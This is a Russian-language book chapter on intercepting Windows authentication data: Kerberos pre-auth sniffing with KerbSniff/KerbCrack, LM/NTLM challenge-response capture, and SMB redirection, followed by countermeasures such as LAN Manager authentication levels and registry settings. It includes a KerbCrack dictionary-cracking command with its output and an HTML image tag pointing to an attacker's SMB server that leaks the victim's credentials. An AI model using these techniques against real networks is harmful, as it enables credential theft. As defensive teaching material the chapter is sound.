Перехоплення даних аутентифікації
В случае, если пароль подобрать не удастся, злоумышленник может попытаться получить данные пользовательской учетной записи, "подслушивая" информацию, которой системы обмениваются при входе в системы семейства Windows NT. Для проведения таких атак существует множество средств и технологий. Далее будут описаны только самые распространенные из них:
анализ аутентификационных данных, перехватываемых непосредственно из линии передачи данных (sniffing);
захват данных аутентификации с использованием ложного сервера;
атаки посредника.
Термин сниффинг (sniffing), которым обозначается перехват и анализ данных, передаваемых по сети, произошел от названия популярного набора программ для мониторинга сети Network Associates Sniffer.
Поскольку атаки данного типа довольно специфические, для них лучше всего использовать специализированные средства, которые мы и рассмотрим далее.
Изучение этого материала предполагает знакомство с протоколами аутентификации дпя глобальных сетей, в том числе и с механизмом "запрос-ответ" протокола NTLM.
.
Перехват
данных аутентификации по протоколу
Kerberos
|
Популярность |
5 |
|
Простота |
3 |
|
Опасность |
9 |
|
Степень риска |
6 |
Да, все правильно: перехват аутентфикационных данных Kerberos. Возможность перехвата данных при аутентификации по протоколам LM/NTLM известна давно, а вот то, что то же самое касается и входа в системы Windows 2000 (и следующие версии Windows) при аутентификации по протоколу Kerberos, еще не получило такой широкой огласки. Для перехвата данных применяются программы KerbSniff/KcrbCrack, созданные Арне Видстромом (Аrnе Vidstrom) и доступные по адресу ntsecurity.nu.
Программы KerbSniff и KerbCrack работают в тандеме. Программа KerbSniff прослушивает сеть и извлекает аутентификационные данные для домена Kerberos. Полученная информация сохраняется в указанный пользователем файл (в нашем примере output.txt), как показано ниже.

Для прекращения перехвата данных нужно нажать комбинацию клавиш <CTRL+C>, Звездочка после строки Captured packets соответствует количеству зарегистрированных попыток входа в систему.
После перехвата данных можно воспользоваться программой KerbCrack, которая выполняет непосредственной подбор пароля или подбирает пароль по файлу словаря, в зависимости от имеющегося в распоряжении времени и вычислительной мощности компьютера. В следующем примере был использован вариант подбора пароля по словарю.
C:\>kerbcrack output.txt -d dictionary.txt
KerbCrack 1.2 - (с) 2002, Arne Vidstrom
- http://ntsecurity.nu/toolbox/kerbcrack/
Loaded capture file.
Currently working on:
Account name - administrator
From domain - VEGAS2
Trying password - admin
Trying password - guest
Trying password - root
Number of cracked passwords this far: 1
Done.
Последний в списке пароль — взломанный пароль (в нашем примере root).
Программа KerbCrack взламывает пароль только для последнего пользователя в записях файла KerbSniff. Для взлома паролей различных пользователей придется вручную рассортировать записи в разные файлы. Кроме того, KerbSniff часто добавляет символ m или n к именам учетных записей.
Теоретическую основу этой атаке дал в своей статье Фрэнк О'Двайер (Frank O'Dwyer), которая вышла в свет в марте 2002 года. Дело в том, что в Windows-реализации протокола Kerberos до аутентификаиии отправляется пакет, в котором содержится известный текст (временная метка), зашифрованный с помощью ключа, который был получен по паролю пользователя. Таким образом, прямолинейная атаки или использование словаря позволяют расшифровать этот предварительный пакет и выделить из него структуру, подобную стандартной временной метке, позволяют получить пароль пользователя. Эта проблема была актуальна для протокола Kerberos версии 5.
Меры
противодействия перехвату паролей для
протокола Kerberos
|
Бюллетень |
Нет |
|
BID |
Нет |
|
Исправлено в SP |
Нет |
|
Фиксируется |
Да |
Остается только одно проверенное средство защиты — выбирать надежные пароли. Фрэнк О'Двайер в своей статье говорит о том, что на взлом пароля длиной в восемь символов, который содержит буквы различных регистров и числа, потребуется 67 лет работы на стандартном компьютере Pentium 1,5 ГГц. Поэтому использование функции принудительной сложности паролей в системах Windows Server 2003 позволяет отсрочить взлом вашего пароля на какое-то время. Не забывайте, что если пароль можно найти в словаре, он будет немедленно взломан.
Перехват
аутентификационных данных для протокола
LM
|
Популярность |
7 |
|
Простота |
2 |
|
Опасность |
10 |
|
Степень риска |
6 |
Программа аудита паролей L0phtcrack является одной из самых известных. Хотя ее главное назначение — взлом паролей после отключения от сети, последние версии поставлялись с дополнительным модулем SMBCapture, который может перехватывать аутентификационные данные при использовании сценария "запрос-ответ" и передавать их механизму взлома пароля L0phtcrack. Взлом паролей и программа L0phtcrack будет описана в другой теме, а здесь сосредоточим внимание на возможностях этой утилиты по перехвату аутентификационных данных и их расшифровке.
Недостатки алгоритма хеширования по протоколу LM дают взломщику возможность перехватить передаваемые по сети данные, чтобы определить хешированный пароль, и затем, уже отключившись от сети, спокойно попытаться взломать его. И это при том, что сам хешированный пароль никогда не передается по сети! Подробное описание процесса получения хешированного пароля по информации "запрос—ответ" протокола LM приведено в документации LC под заголовком "Technical Explanation of Network SMB Capture" ("Техническое описание программы Network SMB Capture"), но основные механизмы всё же поясним здесь.
Основная проблема алгоритма LM состоит в способе создания хешированного пароля пользователя, который вычисляется по двум отдельным семисимвольным сегментам пароля учетной записи. Первые восемь байт получают по первым семи символам пароля пользователя, а вторые восемь байт — по символам пароля с восьмого по четырнадцатый.

Каждую часть можно атаковать полным перебором всех возможных 8-байтовых комбинаций. Для процессора современного настольного компьютера это очень простая задача. Таким образом, если злоумышленник может узнать хешированный пароль пользователя, то в конце-концов он получит и сам пароль.
Так каким же образом программа SMB Packet Capture вычисляет хешированный пароль LM из данных обмена запросами и ответами? Во время аутентификации по протоколу LM или NTLM хешированные пароли не передаются по сети. Оказывается, "ответ" для запроса NTLM создастся с использованием хешированного пароля для шифрования 8-байтового запроса. Поскольку делается очень простое преобразование, то, зная ответ, легко простым подбором определить исходное значение хешированного пароля. Эффективность этого процесса очень зависит от длины пароля. В конечном счете, программа SMB Packet Capture может выделять хешированные пароли из передающихся по сети данных, если она может перехватывать ответ протокола LM. Используя похожий механизм, можно получить и хешированные пароли для механизма "запрос-ответ" протокола NTLM, но в настоящее время из аутентификационных данных по протоколу NTLMv2 такую информацию извлечь невозможно. На рис. 5 показано окно программы SMB Packet Capture во время получения из сети ответов LM и NTLM.
После захвата хешированных паролей LM или NTLM их можно импортировать в программу L0phtcrack для взлома (см. "Расширение сферы влияния"). В зависимости от надежности паролей, расшифровка действительного пароля может занять от нескольких минут до нескольких часов.
Некоторые важные замечания по программе SMB Packet Capture.
В данный момент невозможно получить хешированные пароли перехватив аутентификационные данные при установке соединения между системами под управлением Windows 2000 или более поздних версий Windows (одна из систем, клиент или сервер, должна работать под управлением этой версии Windows). В эксперименте авторов [1] (они применяли последнюю версию 4 пакета LC) удалось вычислить LM-ответы только при обмене данными систем под управлением Windows NT. Если на обоих концах соединения работают системы под управлением Windows XP, 2000 или Server 2003, то программа SMB Packet Capture не способна перехватить ни одного полезного пакета.
SMB Packet Capture позволяет перехватывать только данные, передаваемые по совместно используемым, а не коммутируемым каналам связи (хотя это ограничение можно обойти, применяя перенаправление ARP и подмену данных кэша DNS в сетях Ethernet).
Время взлома перехваченных хешированных паролей прямо пропорционально количеству взламываемых паролей. Замедление работы происходит из-за того, что все хешированные пароли шифруются независимо, и результаты работы, проделанной при взломе одного пароля, нельзя использовать для взлома другого пароля (что не распространяется на хешированные пароли, полученные из памяти реестра). Таким образом, взлом десяти хешированных паролей потребует в 10 раз больше времени, чем взлом одного пароля. Этим в определенных ситуациях ограничивается эффективность данного метода проверки паролей.
Во время работы программы SMB Packet Capture в системе должен быть установлен и запущен драйвер WinPcap v.2.1 (программа LC устанавливает его автоматически, после этого драйвер запускается при каждой загрузке системы).

Рис. 5. Программа SMB Packet Capture из пакета извлекает информацию, необходимую для взлома паролей
Чтобы проверить правильность установки драйвера WinPcap, посмотрите, появилось ли название этой программы и оснастке панели управления Add/Remove Programs (Установка и удаление программ). Во время работы SMB Packet Capture можно проверить, загружен ли драйвер, для этого необходимо запустить компонент Administrative Tools (Администрирование) ‑ Computer Management (Управление компьютером), это файл compmgmgt.msc. В левом окне откройте ветвь System Tools (Служебные программы) > System Information (Сведения о системе) > Software Environment (Программная cpeда) > Drivers (Драйверы). Здесь должна быть запись packet_2.1 с отметкой "Running" (выполняется). Также проверьте, нет ли в системе программы-брандмауэра, которая может помешать корректному перехвату пакетов драйвером WinPcap.
Программы ScoopLM/BeatLM
Еще два великолепных средства для перехвата ответов LM и взлома паролей — это программы ScoopLM и BeatLM от Urity из SecurityFriday.com. Программа ScoopLM действует аналогично SMB Packet Capture, но дополнительно позволяет перехватывать аутентификационные данные при взаимодействии новых операционных систем семейства Windows. Например, ScoopLM способна перехватить данные при аутентификации между сервером Windows Server 2003 и клиентами под управлением Windows NT4, ХР и Server 2003 (на рис. 6 клиентов можно различить по имени выбранного нами пользователя).

Рис. 6. Программа SoopLM перехватывает данные протоколов LM при аутентификации между различными клиентами а системой Windows Server 2003
К сожалению, при попытке взлома перехваченных паролей с помощью BeatLM результаты оказываются плачевными (рис. 7). Авторы [1] установили для каждого пользователя пароль "test" и использовали для взлома словарь, в котором присутствовало это слово. Как видите, пароль для системы Windows NT был взломан довольно легко, но тот же пароль для клиентов Windows XP и Windows Server 2003 получить не удалось (о чем свидетельствует сообщение об ошибке ERR в правом столбце). Причины такой ситуации будут рассмотрены ниже.

Рис. 7. Программа BeatLM взламывает пароли по информации перехваченных ответов LM (обратите внимание на неудачную попытку взлома паролей клиентов Windows XP и Windows Server 2003)
Перенаправление аутентификационных данных для службы SMB
Если пользователей перенаправить на выбранный злоумышленником сервер, то захват ответов протокола LM значительно упрощается. Этот метод очень удобно применять в коммутируемых сетях, поскольку появляется возможность направлять сеансы подключения к службам SMB на систему хакера независимо от топологии сети.
Есть более точный способ для атаки на учетную запись определенного пользователя. Простейший трюк описан в одном из ранних выпусков программы L0phtcrack: отправьте "жертве" по электронной почте письмо, в котором есть гиперссылка на подложный сервер SMB. При получении письма произойдет обращение по ссылке (которое может быть сделано вручную или автоматически), и клиент непреднамеренно передаст по сети аутентификационные данные, используемые им для подключения к службам SMB. Такие ссылки легко замаскировать, и обычно они не требуют сложных действий со стороны обманываемого пользователя, потому что если не предоставляется информация для аутентификации, Windows автоматически пытается подключиться к системе, используя текущую учетную запись. Вероятно, это одно из самых слабых мест в системе Windows с точки зрения безопасности.
В качестве примера рассмотрим тег HTML, который может быть использован на Web-странице или в письме электронной почты.
<html>
<img srcfile://<сервер_хакера/null.gif height=1 width=1></img>
</html>
Когда происходит обработка кода HTML на стороне пользователя (в программах Internet Explorer или Outlook/Outlook Express, например), загружается файл null.gif, и "жертва" инициирует сеанс связи SMB с сервером сервер_хакера. Для этого даже не обязательно наличие совместно используемого ресурса.
После того как пользователя обманули и вынудили подключиться к системе злоумышленника, остается только перехватить подтверждающее ответное сообщение протокола LM, а с помощью программы SMB Packet Capture или SoopLM это делается элементарно. Если одна из этих программ прослушивает сервер хакера или свой сегмент локальной сети, то она получит все данные "запрос-ответ" по протоколу LM/NTLM.
Один из вариантов проведения этой атаки предполагает создание подложного сервера SMB для перехвата хешированных паролей, а не "подслушивания" передаваемых по сети данных, как это происходит при использовании SMB Packet Capture. Подложные серверы SMB опишем далее, в разделе "Подложная аутентификация". Можно также использовать перенаправление пакетов ARP или подмену данных кэша DNS в целях перенаправления передаваемых данных обмена на систему хакера, см. Секреты хакеров. Безопасность сетей — готовые решения, четвертое издание. Стюарт Мак-Клар, Джоеа Скембрей, Джордж Кур.
Меры
противодействия перехвату паролей
|
Бюллетень |
Нет |
|
BID |
Нет |
|
Исправлено в SP |
Нет |
|
Фиксируется |
Да |
Риск перехвата паролей протокола LM можно уменьшить несколькими способами.
Один из методов — гарантировать соблюдение в сети определенных правил безопасности. Службы аутентификации систем Windows должны запускаться в защищенных сетях, чтобы вся инфраструктура сети не позволяла данным SMB проходить через незащищенные хосты. Следуя предыдущему совету, необходимо также обеспечить, чтобы все точки физического доступа к сети (настенные розетки и т.п.) были недоступны случайным людям (помните, что с распространением беспроводных сетей сделать это становится все сложнее). Кроме того, для предотвращения получения хакерами физических и сетевых адресов без аутентификации хорошо бы было использовать средства, встроенные в сетевое оборудование или протокол DHCP. Учтите, что для проведения атак «анализ сетевых пакетов» не требуется получение легальных MAC- или IP-адресов.
Второй способ — сконфигурировать все системы Windows в окружении таким образом, чтобы отключить передачу хешированных паролей LM по линии связи. Для этой цели можно открыть оснастку Group Policy (Групповая политика) или Local Security Policy (Локальная политика безопасности), перейти в раздел Computer Configuration (Настройка компьютера) > Windows Settings (Параметры Windows) > Security Settings (Параметры безопасности) > Local Policies (Локальные политики) > Security Options (Параметры безопасности) и найти параметр Network Security: LAN Manager Authentication Level (Сетевая безопасность: Уровень проверки подлинности LAN Manager). Используя этот параметр можно выбрать один из шести способов аутентификации SMB в Windows 2000 и более поздних версиях Windows (с повышением номера уровня повышается уровень защиты, информация взята из статьи Q239869).
Уровень 0. Отправлять LM- и NTLM-ответы; никогда не использовать защиту сеанса NTLM 2. Клиенты используют аутентификацию LM и NTLM и никогда не используют защиту сеанса NTLM 2; контроллеры доменов принимают аутентификацию LM, NTLM к NTLM 2 (это настройки по умолчанию для систем семейства Windows NT до Windows XP).
Уровень 1. Отправлять LM- и NTLM-ответы — использовать сеансовую безопасность NTLM 2. Клиенты используют аутентификацию NTLM и защиту сеанса NTLM v2, если ее поддерживает сервер; позволяют выполнять аутентификацию по LM, NTLM и NTLM v2.
Уровень 2. Отправлять только NTLM-ответ. Клиенты используют только аутентификацию NTLM и защиту сеанса NTLM v2, если се поддерживает сервер. Контроллеры доменов позволяют выполнять аутентификацию по LM, NTLM и NTLM v2.
Уровень 3. Отправлять только NTLMv2-ответ. Клиенты используют аутентификацию NTLM v2 и защиту сеанса NTLM v2, если ее поддерживает сервер. Контроллеры доменов позволяют выполнять аутентификацию по LM, NTLM и NTLM v2.
Уровень 4. Отправлять только NTLMv2-ответ, отказывать LM. Клиенты используют аутентификацию NTLM v2 и защиту сеанса NTLM v2, если ее поддерживает сервер. Контроллеры доменов не позволяют выполнять аутентификацию по LM (т.е. они позволяют выполнять аутентификацию по протоколам NTLM и NTLM v2).
Уровень 5. Отправлять только NTLMv2- ответ, отказывать LM и NTLM. Клиенты используют аутентификацию NTLM v2 и защиту сеанса NTLM v2, если ее поддерживает сервер. Контроллеры доменов не позволяют выполнять аутентификацию по LM и NTLM (они принимают аутентификацию только по протоколу NTLM v2).
В случае установки значения параметра Network Security: LAN Manager Authentication Level (Сетевая безопасность: Уровень проверки подлинности LAN Manager) на уровень 2, "Send NTLM response only" (Отправлять только NTLM-ответ) программа SMBCapture не сможет получить хешированный пароль из данных, передаваемых в процессе аутентификации (значения выше уровня 2 также подойдут, обеспечивая при этом более высокий уровень защиты). На рис. 8 изображено окно настройки уровня аутентификации для политики безопасности Windows Server 2003.

Puc. 8. В Windows Server 2003 значение по умолчанию для параметра Network Security: LAN Manager Authentication Level не позволяет отправлять уязвимые LM-ответы
После изменения значения LM Authentication Level в Windows Server 2003 щелкните правой кнопкой мыши на верхней ветви дерева ММС, в которой отображается параметр, и выберите пункт Reload (Перезагрузить). Тогда сделанные изменения вступят в силу немедленно.
Что можно сказать о более новых протоколах NTLM и NTLM 2? NTLM-ответ бесполезен для перехвата, поскольку при его создании не используются криптографические данные пользователя. Например, программа L0phtcrack из пакета SMB Packet Capture по-прежнему позволяет перехватить LM-ответ клиентов Windows Server 2003, даже если установлен уровень аутентификации 2. Но за разумный период времени невозможно взломать хешированные пароли, полученные только из NTLM-ответов. Как демонстрировалось выше, другие средства для перехвата LM -паролей работают аналогично.
Нельзя утверждать, что невозможно взломать NTLM-хешировакные пароли (см. "Расширение сферы влияния"), но очень сложно получить NTLM-хеш из данных аутентификации, при которой используется только NTLM-ответ.
Интересно отметить, что запрос-ответ протокола NTLMv2 также можно перехватить, а значит, теоретически данный протокол имеет тот же недостаток и подвержен рассмотренному выше виду атаки. Но на сегодняшний день не существует общеизвестных средств для проведения такой атаки.
Ранее в системах Windows NT4 изменить уровень аутентификации LAN Manager Authentication Level можно было с помощью параметра реестра HKLM\System\CurrentControlSet\Control \LSA\LMCompatibilityLevel, устанавливая значения от 0 до 5, несмотря на то, что эти числа и не отображаются в интерфейсе Windows 2000 Security Policy (см. статью базы знаний Microsoft Q147706).
Помните, что пока в окружении есть системы с уровнем аутентификации ниже 2, остается уязвимым все окружение, даже если на серверах этот параметр имеет значение 4 или 5. Даже если серверы не будут поддерживать LM-ответ, клиенты по-прежнему будут передавать его.
Одной из наиболее серьезных проблем, с которыми сталкивались большие организации при изменении значения параметра реестра LMCompatibilityLevel, был тот факт, что клиенты старых версий Windows не могли передавать ответ по протоколу NTLM. Для решения этой проблемы был выпущен клиент Directory Services Client, который есть на компакт-диске Windows 2000 в каталоге clients\Win9x\Dsclient.exe. После установки программа DSCIient позволяет клиентам Windows 9x передавать ответ по протоколу NTLMv2. Кроме того, необходимо настроить систему Windows 9* таким образом, чтобы передавался только ответ NTLMv2, для чего необходимо создать в реестре параметр HKLMASystem\CurrentControlSetXControl и добавить в него следующее значение.
Value Name: LMCompatibility
Data Type: REG_WORD
Value: 3
Valid Range: 0,3
На клиентах Windows 9х при наличии установленной программы DSClient параметр реестра должен называться LMCcompability, а не LMCompatoilityLeval, как в системах Windows NT 4.
Также важно отметить, что значение уровня аутентификации LAN Manager Authentication Level применяется к соединениям SMB. Еще один параметр реестра управляет защитой удаленного вызова процедур Microsoft Remote Procedure Call (MSRPC) и встроенной аутентификации по протоколу HTTP, и для клиента, и для сервера (они должны совпадать).
HKLM\System\CurrentControlSet\concrol\LSA\MSV1_0
Value Name: NtlmMinClientSec or NtlmMinServerSec
Data Type: REG_WORD
Value: one of the values below:
0x00000010 - Message integrity
0x00000020 - Message confidentiality
0x00080000 - NTLM 2 session security
0x20000000- 128-bit encryption
0x80000000- 56-bit encryption
Windows 2000 и следующие версии позволяют выполнять аутентификацию еще одного типа, по протоколу Kerberos. Это совершенно другой протокол, потому он не уязвим для утилиты SMB Packet Capture. К сожалению, нельзя заставить клиентские программы использовать протокол Kerberos простой установкой значения параметра реестра, как в случае уровня аутентификации LM, поэтому, пока в окружении присутствуют системы с более низким уровнем защищенности, скорее всего, будет использоваться аутентификация типа запрос-ответ по протоколам LM/NTLM.
Кроме того, даже в гомогенном окружении Windows 2000 или более новых версий существует множество ситуаций, в которых протокол Kerberos не будет использоваться. Например, протокол Kerberos не используется, если две системы под управлением Windows 2000 находятся в разных лесах (за исключением случая, когда между лесами однородных доменов Windows Server 2003 установлены доверительные отношения). Если две машины находятся в одном лесу, то использование протокола Kerberos возможно, но только в тех случаях, если обращение к машинам происходит по имени NetBIOS или DNS. Если для обращения к машинам используются их IP-адреса, то будет использован протокол LM/NTLM. Если в домене Windows Server 2003 используется приложение, которое не поддерживает протокол Kerberos, но поддерживает аутентификацию запрос-ответ LM/NTLM, то, конечно же, протокол Kerberos использован не будет, а данные аутентификации можно будет перехватить программой SMB Packet Capture.
Помните, что для установки в окружении Windows 2000 (и более поздних версий Windows) протокола Kerberos, в домене должна использоваться служба Active Directory. Для проверки, используется ли протокол Kerberos в конкретных сеансах работы, существуют специальные утилиты. Например, утилита с графическим интерфейсом kerbtray из набора Resource Kit или утилита для использования из командной строки klist.
